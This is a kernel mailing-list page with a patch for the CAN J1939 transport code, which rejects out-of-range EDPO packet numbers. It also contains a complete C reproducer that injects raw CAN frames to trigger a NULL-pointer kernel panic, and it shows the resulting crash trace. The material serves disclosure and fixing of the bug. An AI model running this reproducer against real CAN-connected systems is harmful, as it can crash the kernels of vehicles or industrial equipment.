mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH net v2 RESEND] can: j1939: validate the EDPO packet number
@ 2026-09-30  5:59 Chaosheng Qu
  2026-10-03  4:54 ` netdev-bot+sashiko
  0 siblings, 1 reply; 2+ messages in thread
From: Chaosheng Qu @ 2026-09-30  5:59 UTC (permalink / raw)
  To: Robin van der Gracht, Oleksij Rempel, kernel
  Cc: Chaosheng Qu, Oliver Hartkopp, Marc Kleine-Budde, linux-can,
	linux-kernel


ETP.CM_DPO is peer controlled and its packet number is accepted without
any validation.  It names the packet a transmission window starts at, and
j1939_xtp_rx_dat_one() places incoming data at "dat[0] - 1 + pkt.dpo", so
a value past the end of the message moves pkt.dpo beyond the reassembled
buffer.

The transfer still completes normally in that case.  With
pkt.dpo == pkt.total, a closing ETP.DT frame with dat[0] == 0 evaluates to
packet pkt.total - 1, which is the last in-order packet, so pkt.rx reaches
pkt.total and the receiver emits its own EOMA.  The local loopback of that
EOMA runs j1939_session_completed(), which asks
j1939_session_skb_get() for offset "pkt.dpo * 7" -- one full packet past
the end of the queued skb -- gets NULL, and passes it straight to
j1939_sk_recv(), which dereferences oskb->sk.

The trigger is deterministic and needs no hardware, no race and no memory
pressure.  Nothing on the path checks a capability: net/can has no
CAP_NET_RAW check at all, CAN_J1939 does not require one, and the only
capability gate nearby is SO_J1939_SEND_PRIO < 2, which asks for
CAP_NET_ADMIN and is not needed here.  Given a CAN interface -- the vcan
used below only has to be created once, which normally needs privileges --
any user can reach this:

  ETP.CM_RTS (size 1786)  -> total = 256 packets
  ETP.CM_DPO (packet 0)
  ETP.DT seq 1..255       -> packets 0..254, pkt.rx = 255
  ETP.CM_DPO (packet 256) -> pkt.dpo = 256, unvalidated
  ETP.DT seq 0            -> packet 255 == pkt.rx, completes the transfer

resulting in:

  BUG: kernel NULL pointer dereference, address: 0000000000000018
  RIP: 0010:j1939_sk_recv+0xaf/0x150
  Call Trace:
   <IRQ>
   j1939_session_completed+0x69/0x80
   j1939_xtp_rx_eoma+0xc1/0x170
   j1939_tp_recv+0x41b/0x4c0
   j1939_can_recv+0x1ad/0x290
  Kernel panic - not syncing: Fatal exception in interrupt

Reject an EDPO that names a packet at or past pkt.total and abort the
session with J1939_XTP_ABORT_BAD_EDPO_OFFSET, the SAE J1939-21 abort code
for exactly this case.  The check has to be ">=" and not ">": pkt.total is
a packet count, so the last valid packet is pkt.total - 1 and
"dpo == pkt.total" is already out of range -- it is the value used by the
trigger above.

Both roles tolerate the check because a transmitter derives the offset
from pkt.tx_acked, which is "cts_packet - 1" with cts_packet <= pkt.total,
so the largest value it ever announces is pkt.total - 1.

Also guard j1939_session_completed() against a NULL skb as defense in
depth, so that any future regression in the offset arithmetic degrades to
a dropped message instead of a kernel panic.  The only other caller of
j1939_session_skb_get(), j1939_simple_txnext(), already does this.

A self-contained reproducer follows below the fold.  It builds with
"gcc -static -O2 -o j1939_dpo j1939_dpo.c", needs one vcan interface and no
other setup, and prints the frame sequence as it injects it.  It uses a raw
socket for the sender so it does not need a J1939 stack of its own.  On
v7.3.0-rc5 under QEMU:

  - an unpatched kernel panics 3 out of 3 runs, in j1939_sk_recv():
      BUG: kernel NULL pointer dereference, address: 0000000000000018
      RIP: 0010:j1939_sk_recv+0xaf/0x150
  - with only the NULL guard in j1939_session_completed() (i.e. without
    the EDPO range check) it still panics 3 out of 3 runs, so the guard
    alone does not close the hole and the range check is the actual fix
  - with this patch applied it is 0 out of 3 and the session is aborted
    with J1939_XTP_ABORT_BAD_EDPO_OFFSET as intended
  - a full 1786 byte ETP transfer between two J1939 sockets still
    completes with the payload intact.  That transfer announces
    pkt.total - 1 in its last EDPO, so it exercises the boundary value
    one below the rejected one, and it runs the transmitter's own EDPO
    through the vcan loopback as well.

Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Assisted-by: LLM
Signed-off-by: Chaosheng Qu <quchaosheng000406@163.com>
---
Resend: the first posting of this v2 went out without the list Cc and is
not in the archives, so it is repeated here for the record.

Changes in v2:
 - Add the reproducer that was missing from v1.  It is self contained,
   needs one vcan interface, and was run against three kernels: the
   unpatched one panics 3/3, a kernel with only the NULL guard still
   panics 3/3, and this patch gives 0/3.  The middle result is the
   interesting one: it shows the guard alone does not close the hole, so
   the range check is not redundant with it.
 - Reword the reachability claim.  v1 said "unprivileged user"; the only
   capability on the path is the one behind SO_J1939_SEND_PRIO < 2, and
   the vcan interface itself has to exist first.  What is true is that
   nothing in the receive path the frames take checks a capability.
 - Resent as v2 rather than a ping: the payload of the mail changed.

Reproducer (userspace, vcan only):

    // SPDX-License-Identifier: GPL-2.0
    /*
     * net/can/j1939: ETP.CM_DPO is accepted without validation.
     *
     * ETP splits a transfer into windows; the sender announces each window with
     * an ETP.CM_DPO and j1939_xtp_rx_dat_one() places data at
     * "dat[0] - 1 + session->pkt.dpo".  pkt.dpo is therefore a window base, and a
     * peer that sets it to pkt.total makes the *last* in-order packet land at
     * offset pkt.total * 7 -- one packet past the end of the reassembled buffer.
     *
     * The packet counter still reaches pkt.total, so the transfer completes
     * normally: the receiver schedules its own ETP.CM_EOMA, the local loopback of
     * that EOMA is delivered to j1939_xtp_rx_eoma_one(), and
     * j1939_session_completed() then asks j1939_session_skb_get() for offset
     * "pkt.dpo * 7" == total * 7.  The lookup walks past the queued skb, comes up
     * empty, and the resulting NULL is handed to j1939_sk_recv(), which
     * dereferences it (oskb->sk).
     *
     * Sequence (all frames SA 0x80 -> DA 0x90, ETP.CM on PGN 0xc800):
     *
     *   ETP.CM_RTS (1786 bytes) -> total = 256 packets
     *   ETP.CM_DPO (packet 0)
     *   ETP.DT seq 1..255       -> packets 0..254, pkt.rx = 255
     *   ETP.CM_DPO (packet 256) -> pkt.dpo = 256, unvalidated
     *   ETP.DT seq 0            -> "0 - 1 + 256" == packet 255 == pkt.rx,
     *                              which completes the transfer
     *
     * Build: gcc -static -O2 -o j1939_dpo j1939_dpo.c
     * Run:   ip link set vcan0 up && ./j1939_dpo vcan0
     */
    #include <linux/can.h>
    #include <linux/can/j1939.h>
    #include <linux/can/raw.h>
    #include <net/if.h>
    #include <sys/ioctl.h>
    #include <stdio.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <unistd.h>

    #define ETP_RTS	0x14
    #define ETP_CTS	0x15
    #define ETP_DPO	0x16
    #define ETP_EOMA 0x17

    #define PGN_ETP_CTL 0xc800
    #define SA 0x80
    #define DA 0x90

    #define MSG_SIZE 1786
    #define TOTAL	  ((MSG_SIZE + 6) / 7)	/* 256 */

    static canid_t j1939_id(unsigned char pf, unsigned char ps, unsigned char sa)
    {
    	/* j1939 registers CAN_EFF_FLAG as its filter mask, so every frame on
    	 * the bus has to be an extended (29 bit) frame.
    	 */
    	return CAN_EFF_FLAG | ((canid_t)6 << 26) | ((canid_t)pf << 16) |
    	       ((canid_t)ps << 8) | sa;
    }

    static int spkt = -1;

    static void send_frame(canid_t id, const unsigned char *d, int len)
    {
    	struct can_frame cf = { 0 };

    	cf.can_id = id;
    	cf.len = len;
    	memcpy(cf.data, d, len);
    	if (send(spkt, &cf, sizeof(cf), 0) != sizeof(cf))
    		perror("send");
    }

    static int recv_frame(canid_t *id, unsigned char *d, int timeout_ms)
    {
    	struct can_frame cf;
    	struct timeval tv = { timeout_ms / 1000, (timeout_ms % 1000) * 1000 };
    	fd_set rfds;

    	FD_ZERO(&rfds);
    	FD_SET(spkt, &rfds);
    	if (select(spkt + 1, &rfds, NULL, NULL, &tv) <= 0)
    		return -1;
    	if (recv(spkt, &cf, sizeof(cf), 0) != sizeof(cf))
    		return -1;
    	*id = cf.can_id;
    	memcpy(d, cf.data, 8);
    	return cf.len;
    }

    /* ETP.CM control frame: dat[5..7] always carries the PGN of the session the
     * command belongs to, otherwise j1939_xtp_rx_cmd_bad_pgn() drops it.
     */
    static void ctl(unsigned char cmd, unsigned int size, unsigned int pkt)
    {
    	unsigned char d[8] = { 0 };

    	d[0] = cmd;
    	if (cmd == ETP_DPO) {
    		d[2] = pkt >> 0;	/* 24 bit packet number, dat[2..4] */
    		d[3] = pkt >> 8;
    		d[4] = pkt >> 16;
    	} else {
    		d[1] = size >> 0;	/* 32 bit size, dat[1..4] */
    		d[2] = size >> 8;
    		d[3] = size >> 16;
    		d[4] = size >> 24;
    	}
    	d[5] = PGN_ETP_CTL & 0xff;
    	d[6] = (PGN_ETP_CTL >> 8) & 0xff;
    	d[7] = (PGN_ETP_CTL >> 16) & 0xff;
    	send_frame(j1939_id(0xC8, DA, SA), d, 8);
    }

    static void dt(unsigned char seq)
    {
    	unsigned char d[8] = { 0 };

    	d[0] = seq;
    	send_frame(j1939_id(0xC7, DA, SA), d, 8);
    }

    int main(int argc, char **argv)
    {
    	const char *ifname = argc > 1 ? argv[1] : "vcan0";
    	struct sockaddr_can addr = { 0 };
    	struct ifreq ifr = { 0 };
    	unsigned char d[8];
    	canid_t id;
    	int s, i, len, cts = 0;

    	/* The victim: an ordinary, correctly bound J1939 socket. */
    	s = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
    	if (s < 0) {
    		perror("socket J1939");
    		return 3;
    	}
    	addr.can_family = AF_CAN;
    	addr.can_ifindex = if_nametoindex(ifname);
    	addr.can_addr.j1939.name = J1939_NO_NAME;
    	addr.can_addr.j1939.pgn = J1939_NO_PGN;
    	addr.can_addr.j1939.addr = DA;
    	if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    		perror("bind J1939");
    		return 3;
    	}
    	printf("victim: J1939 socket bound to 0x%02x on %s\n", DA, ifname);

    	/* The attacker: a raw injector with an arbitrary source address. */
    	spkt = socket(PF_CAN, SOCK_RAW, CAN_RAW);
    	if (spkt < 0) {
    		perror("socket RAW");
    		return 3;
    	}
    	strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name) - 1);
    	if (ioctl(spkt, SIOCGIFINDEX, &ifr) < 0) {
    		perror("SIOCGIFINDEX");
    		return 3;
    	}
    	addr.can_family = AF_CAN;
    	addr.can_ifindex = ifr.ifr_ifindex;
    	if (bind(spkt, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    		perror("bind RAW");
    		return 3;
    	}
    	printf("attacker: raw socket on %s  sa=0x%02x da=0x%02x\n",
    	       ifname, SA, DA);

    	/* 1. ETP.CM_RTS -> the receiver answers with ETP.CM_CTS. */
    	ctl(ETP_RTS, MSG_SIZE, 0);
    	printf("-> ETP.CM_RTS size %u (total %u packets)\n", MSG_SIZE, TOTAL);

    	for (i = 0; i < 500 && !cts; i++) {
    		len = recv_frame(&id, d, 20);
    		if (len < 0)
    			continue;
    		if (d[0] == ETP_CTS) {
    			cts = 1;
    			printf("<- ETP.CM_CTS window %u first packet %u\n",
    			       d[1], d[2] | (d[3] << 8) | (d[4] << 16));
    		}
    	}
    	if (!cts) {
    		printf("no CTS, aborting\n");
    		return 4;
    	}

    	/* The vcan loopback delivers the receiver's own CTS back to its own
    	 * receive session and j1939_xtp_rx_cts_one() stores it in
    	 * session->last_cmd.  j1939_xtp_rx_dat_one() only accepts data when
    	 * last_cmd is 0xff (idle), ETP.CM_DPO or a TP.CM_* value, so every
    	 * window has to be re-opened with a DPO *after* the CTS has been
    	 * processed, never before it.
    	 */
    	usleep(200000);

    	/* 2. Window 1: DPO 0, then packets 0..254.  One packet is left over
    	 *    so the transfer is still short of completion.
    	 */
    	ctl(ETP_DPO, 0, 0);
    	printf("-> ETP.CM_DPO 0 (window base)\n");
    	for (i = 0; i < TOTAL - 1; i++)
    		dt((unsigned char)(i + 1));
    	printf("-> ETP.DT seq 1..%u (packets 0..%u)\n", TOTAL - 1, TOTAL - 2);
    	{
    		int n = 0;
    		while (n < 40 && recv_frame(&id, d, 20) >= 0) {
    			printf("<- (drain) cmd %02x\n", d[0]);
    			n++;
    		}
    		printf("<- drained %d frames, bus quiet\n", n);
    	}

    	/* 3. The vulnerable window.  pkt.dpo is peer controlled and nothing
    	 *    validates it against pkt.total, even though
    	 *    j1939_xtp_rx_dpo_one() has pkt.total right there.
    	 */
    	ctl(ETP_DPO, 0, TOTAL);
    	printf("-> ETP.CM_DPO %u  <== pkt.dpo == pkt.total, unvalidated\n",
    	       TOTAL);
    	usleep(50000);

    	/* 4. Closing DT.  "dat[0] - 1 + pkt.dpo" evaluates to 255 == pkt.rx,
    	 *    the skb lookup at 255 * 7 = 1785 is still inside the buffer, so
    	 *    the frame is accepted as the last in-order packet and pkt.rx
    	 *    reaches pkt.total.  The receiver now sends its own EOMA, whose
    	 *    loopback runs j1939_session_completed() with pkt.dpo == 256.
    	 */
    	dt(0);
    	printf("-> ETP.DT seq 0 (packet %u, completes the transfer)\n",
    	       TOTAL - 1);
    	usleep(300000);

    	printf("RESULT: sequence injected\n");
    	fflush(stdout);
    	close(s);
    	return 0;
    }

 net/can/j1939/transport.c | 29 +++++++++++++++++++++++++----
 1 file changed, 25 insertions(+), 4 deletions(-)

diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5..065b4f71e 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -1243,9 +1243,18 @@ static void j1939_session_completed(struct j1939_session *session)
 
 	if (!session->transmission) {
 		se_skb = j1939_session_skb_get(session);
-		/* distribute among j1939 receivers */
-		j1939_sk_recv(session->priv, se_skb);
-		consume_skb(se_skb);
+
+		/* The offset "pkt.dpo * 7" is not necessarily covered by a
+		 * queued skb, e.g. when a peer names a packet past the end of
+		 * the message in an EDPO.  j1939_simple_txnext() already
+		 * guards its call the same way; dropping the message is
+		 * better than handing a NULL skb to j1939_sk_recv().
+		 */
+		if (se_skb) {
+			/* distribute among j1939 receivers */
+			j1939_sk_recv(session->priv, se_skb);
+			consume_skb(se_skb);
+		}
 	}
 
 	j1939_session_deactivate_activate_next(session);
@@ -1823,14 +1832,34 @@ static void j1939_xtp_rx_dpo_one(struct j1939_session *session,
 				 struct sk_buff *skb)
 {
 	const u8 *dat = skb->data;
+	unsigned int dpo;
 
 	if (j1939_xtp_rx_cmd_bad_pgn(session, skb))
 		return;
 
 	netdev_dbg(session->priv->ndev, "%s: 0x%p\n", __func__, session);
 
+	dpo = j1939_etp_ctl_to_packet(dat);
+
+	/*
+	 * EDPO is peer controlled.  It names the packet the announced window
+	 * starts at, and j1939_xtp_rx_dat_one() places data at
+	 * "dat[0] - 1 + pkt.dpo", so it has to stay inside the message.  A
+	 * value past the end moves pkt.dpo beyond the reassembled buffer and
+	 * makes the ETP completion path look up offset "pkt.dpo * 7", which is
+	 * no longer covered by any queued skb.
+	 */
+	if (dpo >= session->pkt.total) {
+		netdev_warn(session->priv->ndev,
+			    "%s: 0x%p: EDPO %u out of range (total %u), aborting\n",
+			    __func__, session, dpo, session->pkt.total);
+		j1939_session_timers_cancel(session);
+		j1939_session_cancel(session, J1939_XTP_ABORT_BAD_EDPO_OFFSET);
+		return;
+	}
+
 	/* transmitted without problems */
-	session->pkt.dpo = j1939_etp_ctl_to_packet(skb->data);
+	session->pkt.dpo = dpo;
 	session->last_cmd = dat[0];
 	j1939_tp_set_rxtimeout(session, 750);
 


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-03  4:54 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-30  5:59 [PATCH net v2 RESEND] can: j1939: validate the EDPO packet number Chaosheng Qu
2026-10-03  4:54 ` netdev-bot+sashiko

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®